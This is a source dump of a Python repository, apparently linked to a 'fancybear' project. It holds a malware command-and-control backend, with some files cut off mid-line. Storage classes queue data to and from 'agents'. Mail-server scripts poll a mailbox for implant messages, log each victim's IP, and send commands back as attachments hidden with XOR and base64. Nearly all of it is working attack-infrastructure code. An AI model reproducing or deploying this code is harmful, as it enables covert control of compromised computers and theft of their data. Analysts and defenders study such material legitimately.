├── ConsoleLogger.py ├── FSLocalStorage.py ├── FSLocalStorage.pyc ├── FileConsoleLogger.py ├── FileConsoleLogger.pyc ├── MailServer.py ├── MailServer2.py ├── MailServer3.py ├── P2Scheme.py ├── P2Scheme.pyc ├── P3Scheme.py ├── P3Scheme.pyc ├── README.md ├── WsgiHttp.py ├── XABase64.py ├── XABase64.pyc ├── _w3.log ├── _w3server.log ├── quickstart.py ├── settings.py ├── settings.pyc ├── w3s.py └── wsgi.py /ConsoleLogger.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | ######################################################################## 4 | 5 | class ConsoleLogger(object): 6 | def log_exception(self, message=''): 7 | if message: 8 | message += " - " 9 | print "#! EXC: ", message, sys.exc_info()[0].__name__, ":", sys.exc_info()[1] 10 | 11 | def log_error(self, message): 12 | print "#! ERR:", message 13 | 14 | def log_warning(self, message): 15 | print "#! WAR:", message 16 | 17 | def log_message(self, message): 18 | print "#>", message 19 | 20 | 21 | if __name__ == '__main__': 22 | logger = ConsoleLogger() 23 | try: 24 | raise BaseException("OoooopS! Exception!") 25 | except: 26 | logger.log_exception("WTF?!") 27 | try: 28 | raise ValueError("OoooopS! Exception! 2") 29 | except: 30 | logger.log_exception() 31 | logger.log_error("Test Error") 32 | logger.log_warning("Test Warning") 33 | logger.log_message("Test message") 34 | -------------------------------------------------------------------------------- /FSLocalStorage.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | 4 | os.umask(0000) 5 | 6 | 7 | class FSLocalStorageException(BaseException): 8 | pass 9 | 10 | 11 | class FSLocalStorageCriticalException(BaseException): 12 | pass 13 | 14 | 15 | class FSLocalStorage(object): 16 | def __init__(self, _root_path=None, _data_folder='data', _from_folder='1', _to_folder='2', status_file='.last'): 17 | if not _root_path: 18 | self.root_path = os.path.dirname(os.path.abspath(__file__)) 19 | else: 20 | self.root_path = _root_path 21 | if not os.path.exists(self.root_path): 22 | raise FSLocalStorageCriticalException("Root path is invalid!") 23 | # 24 | self.data_dir = os.path.join(self.root_path, _data_folder) 25 | if not os.path.exists(self.data_dir): 26 | os.mkdir(self.data_dir) 27 | # 28 | self.from_agent_folder = _from_folder 29 | self.to_agent_folder = _to_folder 30 | self.status_file = status_file 31 | 32 | def init_storage_for_agent(self, agent_id): 33 | agent_folder = os.path.join(self.data_dir, str(agent_id)) 34 | if not os.path.exists(agent_folder): 35 | print "# FSLocalStorage: NEW ", str(agent_id) 36 | os.mkdir(agent_folder) 37 | os.mkdir(os.path.join(agent_folder, self.to_agent_folder)) 38 | os.mkdir(os.path.join(agent_folder, self.from_agent_folder)) 39 | else: 40 | to_folder = os.path.join(agent_folder, self.to_agent_folder) 41 | if not os.path.exists(to_folder): 42 | os.mkdir(to_folder) 43 | 44 | from_folder = os.path.join(agent_folder, self.from_agent_folder) 45 | if not os.path.exists(from_folder): 46 | os.mkdir(from_folder) 47 | return agent_folder 48 | 49 | def get_oldest_filename(self, agent_id, stream): 50 | agent_folder = os.path.join(self.init_storage_for_agent(agent_id), stream) 51 | files = filter(lambda x: os.path.isfile(os.path.join(agent_folder, x)), os.listdir(unicode(agent_folder))) 52 | if files: 53 | files = sorted(files, key=lambda x: os.stat(os.path.join(agent_folder, x)).st_ctime) 54 | return os.path.join(agent_folder, files[0]) 55 | else: 56 | return None 57 | 58 | def get_filename_by_mark(self, agent_id, stream, mark): 59 | agent_folder = os.path.join(self.init_storage_for_agent(agent_id), stream) 60 | filename = os.path.join(agent_folder, mark) 61 | if os.path.exists(filename): 62 | return filename 63 | else: 64 | return None 65 | 66 | def read_last_data(self, agent_id, stream): 67 | mark = '' 68 | res_body = '' 69 | fname = self.get_oldest_filename(agent_id, stream) 70 | if fname and os.path.isfile(fname): 71 | # read oldest 72 | f = open(fname, 'rb') 73 | res_body = f.read() 74 | f.close() 75 | mark = os.path.split(fname)[1] 76 | return mark, res_body 77 | 78 | def remove_data(self, agent_id, stream, mark): 79 | mark = mark.replace('/', '').replace('\\', '').replace("..", '') 80 | fname = self.get_filename_by_mark(agent_id, stream, mark) 81 | if fname and os.path.isfile(fname): 82 | os.unlink(fname) 83 | 84 | def write_data(self, agent_id, stream, data): 85 | agent_folder = os.path.join(self.init_storage_for_agent(agent_id), stream) 86 | fname = os.path.join(agent_folder, str(random.randint(0, 0xffffffff))) 87 | f = open(fname, 'wb') 88 | f.write(data) 89 | f.close() 90 | 91 | # Agent communication 92 | def save_data_from_agent(self, agent_id, data): 93 | self.write_data(agent_id, self.from_agent_folder, data) 94 | 95 | def get_data_for_agent(self, agent_id): 96 | return self.read_last_data(agent_id, self.to_agent_folder) 97 | 98 | def data_for_agent_accepted(self, agent_id, mark): 99 | return self.remove_data(agent_id, self.to_agent_folder, mark) 100 | 101 | def save_status_info_for_agent(self, agent_id, info): 102 | agent_folder = self.init_storage_for_agent(agent_id) 103 | status_file = os.path.join(agent_folder, self.status_file) 104 | f = open(status_file, "w") 105 | f.write(info) 106 | f.close() 107 | 108 | def get_status_info_for_agent(self, agent_id): 109 | agent_folder = self.init_storage_for_agent(agent_id) 110 | status_file = os.path.join(agent_folder, self.status_file) 111 | info = '' 112 | try: 113 | f = open(status_file, "r") 114 | info = f.read() 115 | f.close() 116 | except: 117 | print "# FSLocalStorage: Cannot to open and read status file for %d !" % agent_id 118 | return info 119 | 120 | # CC communication 121 | def get_agents_list(self): 122 | aids = map(lambda x: int(x), filter(lambda x: x.isdigit(), os.listdir(self.data_dir))) 123 | return aids 124 | 125 | def save_data_for_agent(self, agent_id, data): 126 | self.write_data(agent_id, self.to_agent_folder, data) 127 | 128 | def get_data_from_agent(self, agent_id): 129 | return self.read_last_data(agent_id, self.from_agent_folder) 130 | 131 | def data_from_agent_accepted(self, agent_id, mark): 132 | return self.remove_data(agent_id, self.from_agent_folder, mark) 133 | -------------------------------------------------------------------------------- /FSLocalStorage.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rickey-g/fancybear/6e5b7ba03c17a1deeee1b015c5350099487ea270/FSLocalStorage.pyc -------------------------------------------------------------------------------- /FileConsoleLogger.py: -------------------------------------------------------------------------------- 1 | import sys, os 2 | from datetime import datetime 3 | 4 | os.umask(0000) 5 | 6 | ######################################################################## 7 | 8 | class FileConsoleLogger(object): 9 | def __init__(self, log_file): 10 | self.log_file = log_file 11 | self.save_log("### Started " + datetime.utcnow().isoformat() + "\n") 12 | 13 | def save_log(self, log): 14 | f = open(self.log_file, "a") 15 | f.write(log) 16 | f.flush() 17 | f.close() 18 | 19 | def log_exception(self, message=''): 20 | if message: 21 | message += " - " 22 | log = "".join( ("#! EXC: ", message, sys.exc_info()[0].__name__, ":", str(sys.exc_info()[1]) ) ) 23 | print log 24 | self.save_log( datetime.utcnow().isoformat() + " " + log + "\n" ) 25 | 26 | def log_error(self, message): 27 | log = "".join( ("#! ERR: ", message) ) 28 | print log 29 | self.save_log( datetime.utcnow().isoformat() + " " + log + "\n" ) 30 | 31 | def log_warning(self, message): 32 | log = "".join( ("#! WAR: ", message) ) 33 | print log 34 | self.save_log( datetime.utcnow().isoformat() + " " + log + "\n" ) 35 | 36 | def log_message(self, message): 37 | log = " ".join( ("#>", message) ) 38 | print log 39 | 40 | ######################################################################## 41 | 42 | if __name__ == '__main__': 43 | logger = FileConsoleLogger("_log.log") 44 | try: 45 | raise BaseException("OoooopS! Exception!") 46 | except: 47 | logger.log_exception("WTF?!") 48 | try: 49 | raise ValueError("OoooopS! Exception! 2") 50 | except: 51 | logger.log_exception() 52 | logger.log_error("Test Error") 53 | logger.log_warning("Test Warning") 54 | logger.log_message("Test message") 55 | -------------------------------------------------------------------------------- /FileConsoleLogger.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rickey-g/fancybear/6e5b7ba03c17a1deeee1b015c5350099487ea270/FileConsoleLogger.pyc -------------------------------------------------------------------------------- /MailServer.py: -------------------------------------------------------------------------------- 1 | import time 2 | import poplib 3 | import smtplib 4 | import email 5 | import binascii 6 | import struct 7 | import base64 8 | import XABase64 9 | import socket 10 | import re 11 | from datetime import datetime 12 | from email.mime.text import MIMEText 13 | from email.mime.multipart import MIMEMultipart 14 | from email.mime.base import MIMEBase 15 | 16 | from settings import P2_Scheme, P3_Scheme, LocalStorage, ServerLogger, \ 17 | POP3_MAIL_IP, POP3_PORT, SMTP_MAIL_IP, SMTP_PORT, \ 18 | POP3_ADDR, POP3_PASS, SMTP_FROM_ADDR, SMTP_PASS, SMTP_TO_ADDR 19 | 20 | 21 | class MailServer(object): 22 | def __init__(self, p2_scheme, p3_scheme, local_storage, logger): 23 | self.LocalStorage = local_storage 24 | self.P2Scheme = p2_scheme 25 | self.P3Scheme = p3_scheme 26 | self.Logger = logger 27 | 28 | #get data from MailServer, save to fs 29 | def isCurrentMsg(self, msg): 30 | if msg['Subject'] == 'piradi nomeri': 31 | return 1 32 | print 'message doesn\'t have \'piradi nomeri\'' 33 | return 0 34 | 35 | def deleteMsg(self, pop, numOfMsg): 36 | try: 37 | pop.dele(numOfMsg) 38 | except poplib.error_proto, e: 39 | print 'ERROR: %s'%e 40 | #pop.quit() 41 | return 0 42 | #pop.quit() 43 | return 1 44 | 45 | def getAgentIP(self, received): 46 | pattern_ip = re.compile('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}') 47 | ip = re.findall(pattern_ip, received) 48 | if ip is None: 49 | return '' 50 | return ip[len(ip)-1] 51 | 52 | def recv_mail(self): 53 | print 'POP3: recv_mail' 54 | pop = None 55 | try: 56 | pop = poplib.POP3_SSL(POP3_MAIL_IP, POP3_PORT) 57 | except (poplib.error_proto, socket.error) as e: 58 | print 'POP3: ERROR: %s : %s'%(POP3_MAIL_IP,e) 59 | time.sleep(20) 60 | if pop == None: 61 | return 62 | try: 63 | pop.user(POP3_ADDR) 64 | pop.pass_(POP3_PASS) 65 | except poplib.error_proto, e: 66 | print 'POP3: ERROR: %s : %s'%(POP3_ADDR, e) 67 | time.sleep(20) 68 | 69 | if pop.stat()[0] == 0: 70 | print 'POP3: no messages' 71 | pop.quit() 72 | time.sleep(1) #long sleep 73 | return 74 | 75 | for i in xrange( 1,len(pop.list()[1])+1 ): 76 | print 'NUM: %d'%i 77 | status, lines, octets = pop.retr(i) 78 | msg = email.message_from_string('\n'.join(lines)) 79 | #->> P2: validate_subject 80 | if self.isCurrentMsg( msg ) == 0: 81 | self.deleteMsg(pop, i) 82 | #pop.quit() 83 | continue 84 | ip = self.getAgentIP( msg.get_all('Received')[2] ) 85 | timestamp = msg.get('Date') 86 | for part in msg.walk(): 87 | if part.get_content_type(): 88 | if part.get_content_type() == "application/octet-stream": 89 | body = part.get_payload(decode=True) 90 | if body is not None: 91 | agent_id = struct.unpack('> P2: generate_subject 118 | #token_aid = self.P2Scheme.subj_token + struct.pack(">> send command for " + str(agent_id) + "[cmd_size: " + str(len(res_body)) + "]") 147 | # init smtp message 148 | msg = MIMEMultipart('alternative') 149 | msg['Date'] = datetime.utcnow().isoformat() 150 | msg['Subject'] = 'piradi nomeri' # b64subj 151 | msg['From'] = SMTP_FROM_ADDR 152 | msg['To'] = SMTP_TO_ADDR 153 | # load attach 154 | _attach = MIMEBase('application', 'octet-stream') 155 | _attach.set_payload(res_body) 156 | # _rand_filename = XABase64.random_string(XABase64.generate_int(5, 9)) + '.' + \ 157 | # XABase64.random_string(XABase64.generate_int(2, 4)) 158 | _attach.add_header('Content-Disposition', 'attachment', filename='detaluri_%s.dat'%time.strftime("%d%m%Y%H%M")) 159 | # text 160 | _text = MIMEText('gamarjoba') 161 | msg.attach(_text) 162 | msg.attach(_attach) 163 | ret = smtp.sendmail(SMTP_FROM_ADDR, [SMTP_TO_ADDR], msg.as_string()) 164 | print 'SMTP: Data %s ia sent'%res_body 165 | smtp.quit() 166 | time.sleep(0.1) 167 | 168 | if __name__ == '__main__': 169 | mail = MailServer(p2_scheme=P2_Scheme, p3_scheme=P3_Scheme, local_storage=LocalStorage, logger=ServerLogger) 170 | while 1: 171 | #recive mail from mail server 172 | mail.recv_mail() 173 | #send mail to mail server 174 | agents_list = LocalStorage.get_agents_list() 175 | for agent_id in agents_list: 176 | mail.send_mail(agent_id) 177 | -------------------------------------------------------------------------------- /MailServer2.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import time 3 | import poplib 4 | import smtplib 5 | import email 6 | # import binascii 7 | import struct 8 | import base64 9 | import XABase64 10 | import socket 11 | import re 12 | from datetime import datetime 13 | from email.mime.text import MIMEText 14 | from email.mime.multipart import MIMEMultipart 15 | from email.mime.base import MIMEBase 16 | 17 | from settings import P2_Scheme, P3_Scheme, LocalStorage, ServerLogger, POP3_MAIL_IP, SMTP_MAIL_IP, POP3_ADDR, POP3_PASS, \ 18 | SMTP_FROM_ADDR, SMTP_PASS, SMTP_TO_ADDR 19 | 20 | 21 | class MailServer(object): 22 | def __init__(self, p2_scheme, p3_scheme, local_storage, logger): 23 | self.LocalStorage = local_storage 24 | self.P2Scheme = p2_scheme 25 | self.P3Scheme = p3_scheme 26 | self.Logger = logger 27 | 28 | # get data from MailServer, save to fs 29 | def isCurrentMsg(self, msg, content): 30 | # print "msg.as_string() is: ", msg.as_string() 31 | # print "msg.get_default_type() is: ", msg.get_default_type() 32 | 33 | xored = None 34 | try: 35 | xored_content = base64.b64decode(content) 36 | xored = base64.b64decode(msg['Subject']) 37 | except: 38 | print "subject b64 error" 39 | return 0 40 | res = XABase64.xor(xored[4:], xored[:4]) 41 | if res[:7] != self.P2Scheme.subj_token: 42 | print 'token is not valid' 43 | return 0 44 | else: 45 | return 1 46 | 47 | def deleteMsg(self, pop, numOfMsg): 48 | try: 49 | pop.dele(numOfMsg) 50 | pop.quit() 51 | status = 1 52 | except Exception as error: 53 | logging.error(error) 54 | status = 0 55 | return status 56 | 57 | def agent_ip(self, received): 58 | ip = '' 59 | try: 60 | ip = re.findall(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', received) 61 | except Exception as error: 62 | logging.error(error) 63 | if len(ip): 64 | ip = ip[-1] 65 | return ip 66 | 67 | def recv_mail(self): 68 | print 'POP3: recv_mail' 69 | pop = None 70 | try: 71 | pop = poplib.POP3_SSL(POP3_MAIL_IP) 72 | except (poplib.error_proto, socket.error) as e: 73 | print 'POP3: ERROR: %s : %s' % (POP3_MAIL_IP, e) 74 | time.sleep(20) 75 | if pop == None: 76 | return 77 | try: 78 | pop.user(POP3_ADDR) 79 | pop.pass_(POP3_PASS) 80 | except poplib.error_proto, e: 81 | print 'POP3: ERROR: %s : %s' % (POP3_ADDR, e) 82 | time.sleep(20) 83 | 84 | if pop.stat()[0] == 0: 85 | print 'POP3: no messages' 86 | pop.quit() 87 | time.sleep(1) # long sleep 88 | return 89 | 90 | for i in xrange(1, len(pop.list()[1]) + 1): 91 | status, alines, octets = pop.retr(i) 92 | 93 | msg = email.message_from_string('\n'.join(alines)) 94 | content = alines[-2] 95 | if self.isCurrentMsg(msg, content) == 0: 96 | self.deleteMsg(pop, i) 97 | continue 98 | recived = msg.get_all('Received') 99 | try: 100 | ip = self.agent_ip(recived) 101 | except Exception as err: 102 | logging.error(err) 103 | # timestamp = msg.get('Date') 104 | timestamp = datetime.isoformat(datetime.now()) 105 | for part in msg.walk(): 106 | if part.get_content_type(): 107 | if part.get_content_type() == "application/octet-stream": 108 | body = part.get_payload(decode=True) 109 | if body is not None: 110 | agent_id = struct.unpack('> P2: generate_subject 158 | # # token_aid = self.P2Scheme.subj_token + struct.pack(">> send command for " + str(agent_id) + "[cmd_size: " + str(len(res_body)) + "]") 189 | # # init smtp message 190 | # msg = MIMEMultipart('alternative') 191 | # msg['Date'] = datetime.utcnow().isoformat() 192 | # msg['Subject'] = 'piradi nomeri' # b64subj 193 | # msg['From'] = SMTP_FROM_ADDR 194 | # msg['To'] = SMTP_TO_ADDR 195 | # # load attach 196 | # _attach = MIMEBase('application', 'octet-stream') 197 | # _attach.set_payload(res_body) 198 | # # _rand_filename = XABase64.random_string(XABase64.generate_int(5, 9)) + '.' + \ 199 | # # XABase64.random_string(XABase64.generate_int(2, 4)) 200 | # _attach.add_header('Content-Disposition', 'attachment', 201 | # filename='detaluri_%s.dat' % time.strftime("%d%m%Y%H%M")) 202 | # # text 203 | # _text = MIMEText('gamarjoba') 204 | # msg.attach(_text) 205 | # msg.attach(_attach) 206 | # ret = smtp.sendmail(SMTP_FROM_ADDR, [SMTP_TO_ADDR], msg.as_string()) 207 | # print 'SMTP: Data %s ia sent' % res_body 208 | # smtp.quit() 209 | # time.sleep(0.1) 210 | def send_mail(self, agent_id): 211 | print "SMTP: send_mail" 212 | mark, res_body = self.LocalStorage.get_data_for_agent(agent_id) 213 | 214 | if not res_body: 215 | print "All Datas gone..." 216 | return 217 | 218 | smtp = None 219 | try: 220 | smtp = smtplib.SMTP(SMTP_MAIL_IP, 587) 221 | except (smtplib.SMTPException, socket.error) as e: 222 | print 'SMTP: ERROR %s : %s'%(SMTP_MAIL_IP,e) 223 | time.sleep(20) 224 | return 225 | 226 | if smtp == None: 227 | return 228 | 229 | try: 230 | smtp.ehlo() 231 | smtp.starttls() 232 | smtp.login(SMTP_FROM_ADDR, SMTP_PASS) 233 | 234 | except smtplib.SMTPException, e: 235 | print 'SMTP for %s : %s'%(SMTP_FROM_ADDR, e) 236 | smtp.quit() 237 | return 238 | 239 | # remove data from file system 240 | self.LocalStorage.data_for_agent_accepted(agent_id, mark) 241 | self.Logger.log_message(">>> send command for " + str(agent_id) + "[cmd_size: " + str(len(res_body)) + "]") 242 | 243 | # init smtp message 244 | msg = MIMEMultipart('alternative') 245 | msg['Date'] = datetime.utcnow().isoformat() 246 | msg['Subject'] = res_body 247 | msg['From'] = SMTP_FROM_ADDR 248 | msg['To'] = SMTP_TO_ADDR 249 | print "SMTP_MSG: %s" % msg 250 | 251 | # load attach 252 | _attach = MIMEBase('application', 'octet-stream') 253 | _attach.set_payload(res_body) 254 | 255 | # _rand_filename = XABase64.random_string(XABase64.generate_int(5, 9)) + '.' + \ 256 | # XABase64.random_string(XABase64.generate_int(2, 4)) 257 | 258 | _attach.add_header('Content-Disposition', 'attachment', filename='detaluri_%s.dat' % time.strftime("%d%m%Y%H%M")) 259 | # text 260 | _text = MIMEText('gamarjoba') 261 | msg.attach(_text) 262 | msg.attach(_attach) 263 | 264 | ret = smtp.sendmail(SMTP_FROM_ADDR, [SMTP_TO_ADDR], msg.as_string()) 265 | print "\n" + "="*40 266 | print "MSG SMTP: %s" % str(msg) 267 | print "\n" + "="*40 268 | 269 | print 'SMTP: Data %s is sent' % res_body 270 | smtp.quit() 271 | time.sleep(0.1) 272 | 273 | if __name__ == '__main__': 274 | mail = MailServer(p2_scheme=P2_Scheme, p3_scheme=P3_Scheme, local_storage=LocalStorage, logger=ServerLogger) 275 | while 1: 276 | # recive mail from mail server 277 | mail.recv_mail() 278 | # send mail to mail server 279 | agents_list = LocalStorage.get_agents_list() 280 | for agent_id in agents_list: 281 | mail.send_mail(agent_id) 282 | -------------------------------------------------------------------------------- /MailServer3.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import time 3 | import poplib 4 | import smtplib 5 | import email 6 | import binascii 7 | import struct 8 | import base64 9 | import XABase64 10 | import socket 11 | import re 12 | from datetime import datetime 13 | from email.mime.text import MIMEText 14 | from email.mime.multipart import MIMEMultipart 15 | from email.mime.base import MIMEBase 16 | from random import randint 17 | # import settings 18 | # from settings import P2_Scheme, P3_Scheme, LocalStorage, , \ 19 | # POP3_MAIL_IP, SMTP_MAIL_IP, POP3_ADDR, POP3_PASS, SMTP_FROM_ADDR, SMTP_PASS, SMTP_TO_ADDR 20 | import settings 21 | import logging 22 | 23 | 24 | class MailServer(object): 25 | def __init__(self, settings=settings, logger=logging): 26 | self.smtp = None 27 | self.pop3 = None 28 | self.agents_list = [] 29 | 30 | self.settings = settings 31 | self.pop3_port = settings.POP3_PORT 32 | self.smtp_port = settings.SMTP_PORT 33 | self.log = logger 34 | # self.log.basicConfig(level=logging.info) 35 | self.log.basicConfig(level=logging.INFO) 36 | self.storage = settings.LocalStorage 37 | self.server_log = settings.ServerLogger 38 | self.p2s = settings.P2_Scheme 39 | self.p3s = settings.P3_Scheme 40 | self.pop3host = settings.POP3_MAIL_IP 41 | self.smtphost = settings.SMTP_MAIL_IP 42 | self.pop3addr = settings.POP3_ADDR 43 | self.smtp_to_addr = settings.SMTP_TO_ADDR 44 | self.smtp_from_addr = settings.SMTP_FROM_ADDR 45 | self.pop3_pass = settings.POP3_PASS 46 | self.smtp_pass = settings.SMTP_PASS 47 | self.log.basicConfig() 48 | 49 | # def get_content(self, content): 50 | # try: 51 | # return base64.urlsafe_b64decode(content) 52 | # except Exception as e: 53 | # self.log.error(e) 54 | # return 55 | 56 | def get_msg(self, msg): 57 | try: 58 | subject = base64.b64decode(msg['Subject']) 59 | return subject 60 | except Exception as e: 61 | self.log.error(e) 62 | self.log.info(msg.as_string()) 63 | return 64 | 65 | def get_token(self, msg): 66 | if not msg: 67 | return 68 | xor = self.get_msg(msg) 69 | if not xor: 70 | return 71 | 72 | try: 73 | bin_junk = self.p2s.binary_junk_len 74 | data = XABase64.xor(xor[bin_junk:], xor[:bin_junk]) 75 | subject_token_len = len(self.p2s.subj_token) 76 | if data[:subject_token_len] == self.p2s.subj_token: 77 | aid = struct.unpack(' 0 and size < data_size: 33 | data_size = size 34 | mask_size = len(x) 35 | i = 0 36 | while i < data_size: 37 | for k in range(0, mask_size): 38 | res += chr(ord(data[i]) ^ ord(x[k])) 39 | i += 1 40 | if not i < data_size: 41 | break 42 | return res + data[data_size:] 43 | 44 | 45 | def unpack(data, token, b64junk_len=9, binary_junk_len=4): 46 | data = base64.urlsafe_b64decode(data[b64junk_len:]) 47 | bin_junk = data[:binary_junk_len] 48 | data = xor(data[binary_junk_len:], bin_junk) 49 | _token = data[: len(token)] 50 | if not _token == token: 51 | raise XABase64Exception("Invalid token!") 52 | return data[len(token):] 53 | 54 | 55 | def pack(data, token, b64junk_len=9, binary_junk_len=4): 56 | bin_junk = generate_binary_junk(binary_junk_len) 57 | data = xor(token + data, bin_junk) 58 | data = base64.urlsafe_b64encode(bin_junk + data) 59 | data = random_string(b64junk_len) + data 60 | return data 61 | 62 | 63 | def unpack_xor_part(data, token, xor_part_length, b64junk_len=9, binary_junk_len=4): 64 | data = base64.urlsafe_b64decode(data[b64junk_len:]) 65 | bin_junk = data[:binary_junk_len] 66 | data = xor(data[binary_junk_len:], bin_junk, len(token) + xor_part_length) 67 | _token = data[: len(token)] 68 | if not _token == token: 69 | raise XABase64Exception("Invalid token!") 70 | return data[len(token):] 71 | 72 | 73 | def pack_xor_part(data, token, xor_part_length, b64junk_len=9, binary_junk_len=4): 74 | bin_junk = generate_binary_junk(binary_junk_len) 75 | data = xor(token + data, bin_junk, len(token) + xor_part_length) 76 | data = base64.urlsafe_b64encode(bin_junk + data) 77 | data = random_string(b64junk_len) + data 78 | 79 | return data 80 | 81 | 82 | class XABase64Exception(BaseException): 83 | pass -------------------------------------------------------------------------------- /XABase64.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rickey-g/fancybear/6e5b7ba03c17a1deeee1b015c5350099487ea270/XABase64.pyc -------------------------------------------------------------------------------- /_w3.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rickey-g/fancybear/6e5b7ba03c17a1deeee1b015c5350099487ea270/_w3.log -------------------------------------------------------------------------------- /_w3server.log: -------------------------------------------------------------------------------- 1 | ### Started 2015-04-06T10:53:43.344000 2 | ### Started 2015-04-06T10:54:18.185000 3 | ### Started 2015-04-06T10:58:00.848000 4 | ### Started 2015-04-06T10:58:18.851000 5 | ### Started 2015-04-06T10:58:19.982000 6 | ### Started 2015-04-06T10:58:21.111000 7 | ### Started 2015-04-06T10:58:39.303000 8 | ### Started 2015-04-06T10:59:31.978000 9 | ### Started 2015-04-06T10:59:49.110000 10 | ### Started 2015-04-06T10:59:55.230000 11 | ### Started 2015-04-06T11:00:02.993000 12 | ### Started 2015-04-06T11:00:08.999000 13 | ### Started 2015-04-06T11:00:25.183000 14 | ### Started 2015-04-06T11:00:30.301000 15 | ### Started 2015-04-06T11:04:21.256000 16 | ### Started 2015-04-06T13:02:19.995000 17 | ### Started 2015-04-06T13:11:33.311000 18 | ### Started 2015-04-06T13:14:37.639000 19 | ### Started 2015-04-06T13:21:29.652000 20 | ### Started 2015-04-06T13:22:03.762000 21 | ### Started 2015-04-06T13:26:11.288000 22 | ### Started 2015-04-06T13:27:56.921000 23 | ### Started 2015-04-06T13:29:37.946000 24 | ### Started 2015-04-06T13:29:50.900000 25 | ### Started 2015-04-06T13:30:18.710000 26 | ### Started 2015-04-06T13:35:02.860000 27 | ### Started 2015-04-06T13:35:18.253000 28 | ### Started 2015-04-06T13:35:29.119000 29 | ### Started 2015-04-06T13:35:49.457000 30 | ### Started 2015-04-06T13:35:57.954000 31 | ### Started 2015-04-06T13:50:19.154000 32 | ### Started 2015-04-06T13:50:38.972000 33 | ### Started 2015-04-06T14:05:04.725000 34 | ### Started 2015-04-06T14:05:39.580000 35 | ### Started 2015-04-06T14:05:53.586000 36 | ### Started 2015-04-06T14:06:12.945000 37 | ### Started 2015-04-06T14:06:44.119000 38 | ### Started 2015-04-06T14:07:35.988000 39 | ### Started 2015-04-06T14:07:46.925000 40 | ### Started 2015-04-06T14:08:40.619000 41 | ### Started 2015-04-06T14:09:14.432000 42 | ### Started 2015-04-06T14:10:33.365000 43 | ### Started 2015-04-06T14:14:18.540000 44 | ### Started 2015-04-06T14:16:21.212000 45 | ### Started 2015-04-06T14:17:52.841000 46 | ### Started 2015-04-06T14:19:57.297000 47 | ### Started 2015-04-06T14:53:00.570000 48 | ### Started 2015-04-06T14:56:52.554000 49 | ### Started 2015-04-06T15:06:09.476000 50 | ### Started 2015-04-06T15:07:08.353000 51 | ### Started 2015-04-06T15:16:50.441000 52 | ### Started 2015-04-06T15:17:52.757000 53 | ### Started 2015-04-06T15:25:46.863000 54 | ### Started 2015-04-06T15:26:45.223000 55 | ### Started 2015-04-06T15:29:09.664000 56 | ### Started 2015-04-06T15:31:51.029000 57 | ### Started 2015-04-06T15:32:59.756000 58 | ### Started 2015-04-06T15:34:39.671000 59 | ### Started 2015-04-06T15:36:06.773000 60 | ### Started 2015-04-06T15:38:05.619000 61 | ### Started 2015-04-06T15:38:31.298000 62 | ### Started 2015-04-06T15:40:17.874000 63 | ### Started 2015-04-06T15:44:38.568000 64 | ### Started 2015-04-06T15:51:02.215000 65 | ### Started 2015-04-06T15:52:27.516000 66 | ### Started 2015-04-06T15:53:48.937000 67 | ### Started 2015-04-06T15:55:40.004000 68 | ### Started 2015-04-06T15:56:06.770000 69 | ### Started 2015-04-06T15:56:28.727000 70 | ### Started 2015-04-06T15:57:50.434000 71 | ### Started 2015-04-06T16:00:28.218000 72 | ### Started 2015-04-06T16:00:59.135000 73 | ### Started 2015-04-06T16:01:17.419000 74 | ### Started 2015-04-06T16:01:37.323000 75 | ### Started 2015-04-06T16:02:53.097000 76 | ### Started 2015-04-07T07:11:20.324000 77 | ### Started 2015-04-07T07:14:19.108000 78 | ### Started 2015-04-07T07:14:55.571000 79 | ### Started 2015-04-07T07:18:35.515000 80 | ### Started 2015-04-07T07:18:44.699000 81 | ### Started 2015-04-07T07:29:20.038000 82 | ### Started 2015-04-07T07:29:42.186000 83 | ### Started 2015-04-07T07:33:03.610000 84 | ### Started 2015-04-07T07:36:29.221000 85 | ### Started 2015-04-07T07:43:22.812000 86 | ### Started 2015-04-07T07:50:40.123000 87 | ### Started 2015-04-07T07:52:43.894000 88 | ### Started 2015-04-07T08:01:23.993000 89 | ### Started 2015-04-07T08:23:09.023000 90 | ### Started 2015-04-07T08:25:32.663000 91 | ### Started 2015-04-07T08:27:33.405000 92 | ### Started 2015-04-07T08:35:26.182000 93 | ### Started 2015-04-07T08:42:37.579000 94 | ### Started 2015-04-07T08:44:18.536000 95 | ### Started 2015-04-07T08:46:00.427000 96 | ### Started 2015-04-07T08:46:24.223000 97 | ### Started 2015-04-07T08:47:16.018000 98 | ### Started 2015-04-07T08:49:49.369000 99 | ### Started 2015-04-07T08:51:21.862000 100 | ### Started 2015-04-07T08:51:58.143000 101 | ### Started 2015-04-07T08:54:41.801000 102 | ### Started 2015-04-07T08:54:52.633000 103 | ### Started 2015-04-07T08:55:06.724000 104 | ### Started 2015-04-07T08:56:32.766000 105 | ### Started 2015-04-07T08:59:30.488000 106 | ### Started 2015-04-07T09:00:15.561000 107 | ### Started 2015-04-07T09:10:37.235000 108 | ### Started 2015-04-07T09:12:17.922000 109 | ### Started 2015-04-07T09:13:58.011000 110 | ### Started 2015-04-07T09:15:28.814000 111 | ### Started 2015-04-07T09:17:50.617000 112 | ### Started 2015-04-07T09:22:32.048000 113 | ### Started 2015-04-07T09:23:20.075000 114 | ### Started 2015-04-07T09:23:32.290000 115 | ### Started 2015-04-07T10:27:10.186000 116 | ### Started 2015-04-07T10:27:12.373000 117 | ### Started 2015-04-07T10:27:55.667000 118 | ### Started 2015-04-07T10:36:29.452000 119 | ### Started 2015-04-07T10:37:27.537000 120 | ### Started 2015-04-07T10:37:53.702000 121 | ### Started 2015-04-07T10:38:05.551000 122 | ### Started 2015-04-07T10:38:40.029000 123 | ### Started 2015-04-07T10:40:17.379000 124 | ### Started 2015-04-07T10:40:37.909000 125 | ### Started 2015-04-07T10:41:45.737000 126 | ### Started 2015-04-07T10:42:13.062000 127 | ### Started 2015-04-07T10:43:05.372000 128 | ### Started 2015-04-07T10:46:28.016000 129 | ### Started 2015-04-07T10:46:45.864000 130 | ### Started 2015-04-07T10:48:15.095000 131 | ### Started 2015-04-07T10:50:23.803000 132 | ### Started 